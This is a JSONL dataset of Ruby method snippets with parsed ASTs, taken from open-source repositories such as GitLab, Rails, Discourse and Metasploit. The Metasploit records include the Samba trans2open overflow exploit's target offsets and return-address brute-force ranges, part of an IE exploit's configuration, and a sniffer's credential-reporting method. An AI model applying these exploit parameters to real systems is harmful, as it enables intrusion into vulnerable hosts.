,\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[168430090]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-08-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.html\"]}]}]}]}]}]}]}","id":"a4465b6b-b2f6-406a-9660-ecd14f047669"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage_service.rb","start_line":38,"raw_source":"def self.create_storage_service(ems_id, options = {})\n    raise ArgumentError, _(\"ems_id cannot be nil\") if ems_id.nil?\n\n    ext_management_system = ExtManagementSystem.find_by(:id => ems_id)\n    raise ArgumentError, _(\"ext_management_system cannot be found\") if ext_management_system.nil?\n\n    klass = ext_management_system.class_by_ems(:StorageService)\n    klass.raw_create_storage_service(ext_management_system, options)\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_storage_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"ems_id cannot be nil\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ext_management_system\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ems_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"ext_management_system cannot be found\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"class_by_ems\",{\"type\":\"sym\",\"children\":[\"StorageService\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"raw_create_storage_service\",{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"8661b91e-6323-464c-aa52-b8d07bbe56c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/users_spec.rb","start_line":2773,"raw_source":"def request\n            get api(path, current_user)\n          end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}","id":"da1c8289-9f72-4462-9c6f-3ad4fee40820"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/sniffer/psnuffle.rb","start_line":141,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: self.module.myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: self.module.fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: opts[:type]\n    }.merge(service_data)\n\n    if opts[:type] == :nonreplayable_hash\n      credential_data.merge!(jtr_format: opts[:jtr_format])\n    end\n\n    login_data = {\n      core: self.module.create_credential(credential_data),\n      status: opts[:status],\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    unless opts[:status] == Metasploit::Model::Login::Status::UNTRIED\n      login_data.merge!(last_attempted_at: DateTime.now)\n    end\n\n    self.module.create_credential_login(login_data)\n  end","complexity_score":34.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"module\"]},\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"module\"]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jtr_format\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"module\"]},\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"module\"]},\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"f66b65e2-d583-483e-8ae8-19efbd75d912"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vanilla.rb","start_line":10,"raw_source":"def initialize\n    super\n\n    @vanilla_file = ARGV[0]\n    if @vanilla_file.blank?\n      raise ArgumentError.new(\n              \"Vanilla file argument missing. Provide full path to vanilla csv file.\",\n            )\n    end\n\n    @use_lastest_activity_as_user_bio = true if ARGV.include?(\"use-latest-activity-as-user-bio\")\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@vanilla_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGV\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vanilla_file\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Vanilla file argument missing. Provide full path to vanilla csv file.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGV\"]},\"include?\",{\"type\":\"str\",\"children\":[\"use-latest-activity-as-user-bio\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@use_lastest_activity_as_user_bio\",{\"type\":\"true\",\"children\":[]}]},null]}]}]}","id":"70761df5-69c8-4916-b76f-12da1e5325fa"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":431,"raw_source":"def test_redirected_to_url_full_url\n    process :redirect_to_path\n    assert_redirected_to \"http://test.host/some/path\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirected_to_url_full_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"redirect_to_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]}]}]}]}","id":"47fe68f3-4c74-4d92-bc56-95768a26f1a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/mcp/handlers/base.rb","start_line":16,"raw_source":"def initialize(params, access_token, current_user)\n          @params = params\n          @access_token = access_token\n          @current_user = current_user\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"access_token\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@access_token\",{\"type\":\"lvar\",\"children\":[\"access_token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}","id":"01219f45-e925-45a3-9c9f-a4f4790db391"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/app/controllers/patreon/patreon_webhook_controller.rb","start_line":66,"raw_source":"def unknown_trigger?\n    TRIGGERS.exclude?(event)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unknown_trigger?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TRIGGERS\"]},\"exclude?\",{\"type\":\"send\",\"children\":[null,\"event\"]}]}]}","id":"4ab4001e-a9dc-43a7-95b3-5baad7acc741"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/samba/trans2open.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Samba trans2open Overflow (*BSD x86)',\n        'Description' => %q{\n          This exploits the buffer overflow found in Samba versions\n          2.2.0 to 2.2.8. This particular module is capable of\n          exploiting the flaw on x86 Linux systems that do not\n          have the noexec stack option set.\n        },\n        'Author' => [ 'hdm', 'jduck' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2003-0201' ],\n          [ 'OSVDB', '4469' ],\n          [ 'BID', '7294' ],\n          [ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]\n        ],\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n          'MinNops' => 512,\n          'StackAdjustment' => -3500\n        },\n        'Platform' => 'bsd',\n        'Arch' => [ ARCH_X86 ],\n        'Targets' => [\n          # tested OK - jjd:\n          # FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f8\n          [\n            'Samba 2.2.x - Bruteforce',\n            {\n              'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack\n              'Offset' => 1055,\n              'Bruteforce' =>\n                {\n                  'Start' => { 'Ret' => 0xbfbffdfc },\n                  'Stop' => { 'Ret' => 0xbfa00000 },\n                  'Step' => 256\n                }\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2003-04-07',\n        'Notes' => {\n          'AKA' => ['ECHOWRECKER'],\n          'Stability' => [ CRASH_SERVICE_RESTARTS, ],\n          'Reliability' => [ REPEATABLE_SESSION, ],\n          'SideEffects' => [ IOC_IN_LOGS, ]\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(139)\n      ]\n    )\n\n    deregister_options('SMB::ProtocolVersion')\n  end","complexity_score":8.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Samba trans2open Overflow (*BSD x86)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploits the buffer overflow found in Samba versions\\n\"]},{\"type\":\"str\",\"children\":[\"          2.2.0 to 2.2.8. This particular module is capable of\\n\"]},{\"type\":\"str\",\"children\":[\"          exploiting the flaw on x86 Linux systems that do not\\n\"]},{\"type\":\"str\",\"children\":[\"          have the noexec stack option set.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2003-0201\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"4469\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"7294\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/bugtraq/2003/Apr/103\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MinNops\"]},{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"bsd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Samba 2.2.x - Bruteforce\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PtrToNonZero\"]},{\"type\":\"int\",\"children\":[3217031156]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1055]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Bruteforce\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Start\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[3217030652]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stop\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[3214934016]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Step\"]},{\"type\":\"int\",\"children\":[256]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2003-04-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ECHOWRECKER\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_RESTARTS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[139]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SMB::ProtocolVersion\"]}]}]}]}","id":"c15f615b-7cdc-453d-abd0-da76c96c9c88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/batched_background_migrations_dictionary.rb","start_line":69,"raw_source":"def entry\n        @entry ||= self.class.entries[queued_migration_version.to_s]\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@entry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"entries\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queued_migration_version\"]},\"to_s\"]}]}]}]}","id":"1e085227-bce7-4374-b42b-cf1c9227abca"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/support/query_methods_test.rb","start_line":57,"raw_source":"def test_multiple_order\n    create_event prop2: \"bye\", prop1: \"hi\"\n    assert_equal 1, count_events(prop1: \"hi\", prop2: \"bye\")\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_event\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prop2\"]},{\"type\":\"str\",\"children\":[\"bye\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prop1\"]},{\"type\":\"str\",\"children\":[\"hi\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"count_events\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prop1\"]},{\"type\":\"str\",\"children\":[\"hi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prop2\"]},{\"type\":\"str\",\"children\":[\"bye\"]}]}]}]}]}]}]}","id":"5f47eaa9-f808-4b03-b426-33e90d36ae22"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":1042,"raw_source":"def delete_inactive_projects?\n    strong_memoize(:delete_inactive_projects_setting) do\n      ::Gitlab::CurrentSettings.delete_inactive_projects?\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_inactive_projects?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"delete_inactive_projects_setting\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"delete_inactive_projects?\"]}]}]}","id":"f3935654-bfa6-448b-8972-7acb0156a2e8"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/log_subscriber.rb","start_line":21,"raw_source":"def service_streaming_download(event)\n      info event, color(\"Downloaded file from key: #{key_in(event)}\", BLUE)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"service_streaming_download\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[null,\"color\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Downloaded file from key: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_in\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"const\",\"children\":[null,\"BLUE\"]}]}]}]}","id":"7a18fc84-f08e-402f-b289-c2c0b24e3388"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipping_method.rb","start_line":79,"raw_source":"def tracking_number_service(tracking)\n      @tracking_number_service ||= Spree::Dependencies.tracking_number_service.constantize.new(tracking)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_number_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracking\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tracking_number_service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"tracking_number_service\"]},\"constantize\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tracking\"]}]}]}]}","id":"e21619e1-f4d8-4c4c-87e4-1d71125677fe"}
